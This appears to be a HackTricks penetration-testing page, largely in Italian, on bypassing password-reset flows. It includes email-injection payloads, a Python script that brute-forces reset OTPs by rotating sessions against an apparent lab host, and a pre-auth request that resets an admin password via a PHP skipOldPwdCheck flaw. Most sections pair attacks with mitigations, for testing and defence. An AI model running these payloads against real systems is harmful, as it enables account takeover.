Reset/Forgotten Password Bypass

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Password Reset Token Leak Via Referrer

  • L'header HTTP referer può esporre il token di password reset se è incluso nell'URL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
  • Impact: Potenziale takeover dell'account tramite Cross-Site Request Forgery (CSRF) attacks.
  • Exploitation: Per verificare se un password reset token viene esposto nel referer header, richiedi un password reset al tuo indirizzo email e clicca il reset link fornito. Non cambiare immediatamente la password. Invece, naviga su un sito di terze parti (come Facebook o Twitter) mentre intercetti le richieste usando Burp Suite. Ispeziona le richieste per vedere se il referer header contiene il password reset token, poiché questo potrebbe esporre informazioni sensibili a terze parti.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impact: Può portare a un potenziale takeover dell'account esponendo i reset token agli attacker.
  • Mitigation Steps:
  • Validare l'Host header contro una whitelist di domini consentiti.
  • Usare metodi sicuri lato server per generare URL assoluti.
  • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • Aggiungi l'email dell'attacker come secondo parametro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Aggiungi l'email dell'attaccante come secondo parametro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Aggiungi l'email dell'attaccante come secondo parametro utilizzando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Aggiungi l'email dell'attaccante come secondo parametro usando cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Aggiungi attacker email come secondo parametro usando bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Aggiungi l'email dell'attaccante come secondo parametro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Aggiungi l'email dell'attaccante come secondo parametro nell'array json
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Modifica di email e password di qualsiasi utente tramite parametri API

  • Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Mitigation Steps:
  • Assicurarsi di effettuare una rigorosa validazione dei parametri e controlli di autenticazione.
  • Implementare logging e monitoring robusti per rilevare e rispondere ad attività sospette.
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sommergendo l'utente con email di reset.
  • Mitigation Steps:
  • Implementare rate limiting basato su indirizzo IP o account utente.
  • Usare sfide CAPTCHA per prevenire abusi automatizzati.
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Capire il pattern o il metodo dietro la generazione del token può portare a prevedere o brute-forcing dei token. Alcune opzioni:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • Mitigation Steps:
  • Usare metodi crittografici forti per la generazione dei token.
  • Garantire sufficiente entropia e lunghezza per prevenire prevedibilità.
  • Tools: Use Burp Sequencer to analyze the randomness of tokens.

Guessable UUID

  • If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:

UUID Insecurities

  • Mitigation Steps:
  • Use GUID version 4 for randomness or implement additional security measures for other versions.
  • Tools: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulating HTTP responses to bypass error messages or restrictions.
  • Mitigation Steps:
  • Implement server-side checks to ensure response integrity.
  • Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testing whether expired tokens can still be used for password reset.
  • Mitigation Steps:
  • Implement strict token expiration policies and validate token expiry server-side.

Brute Force Password Reset Token

  • Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
  • Mitigation Steps:
  • Implement robust rate-limiting and account lockout mechanisms.
  • Monitor for suspicious activities indicative of brute-force attacks.

Try Using Your Token

  • Testing if an attacker's reset token can be used in conjunction with the victim's email.
  • Mitigation Steps:
  • Ensure that tokens are bound to the user session or other user-specific attributes.

Session Invalidation in Logout/Password Reset

  • Ensuring that sessions are invalidated when a user logs out or resets their password.
  • Mitigation Steps:
  • Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.

Session Invalidation in Logout/Password Reset

  • Reset tokens should have an expiration time after which they become invalid.
  • Mitigation Steps:
  • Set a reasonable expiration time for reset tokens and strictly enforce it server-side.

OTP rate limit bypass by changing your session

  • If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
  • exploitation:
  • basta richiedere un nuovo session token dopo essere stati bloccati dal server.
  • Example di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione l'OTP cambierà anch'esso, e quindi non potremo fare brute-force sequenziale!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Alcune implementazioni espongono un'azione di cambio password che chiama la routine di change_password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se l'endpoint accetta un parametro action come change_password e uno username/nuova password nel corpo della richiesta, un attaccante può resettare account arbitrari pre-auth.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Richiesta di Exploitation (concetto):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigazioni:

  • Richiedere sempre un reset token valido e limitato nel tempo, vincolato all'account e alla sessione, prima di cambiare la password.
  • Non esporre mai i percorsi skipOldPwdCheck ad utenti non autenticati; richiedere l'autenticazione per le normali modifiche della password e verificare la password precedente.
  • Invalidare tutte le sessioni attive e i reset token dopo una modifica della password.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks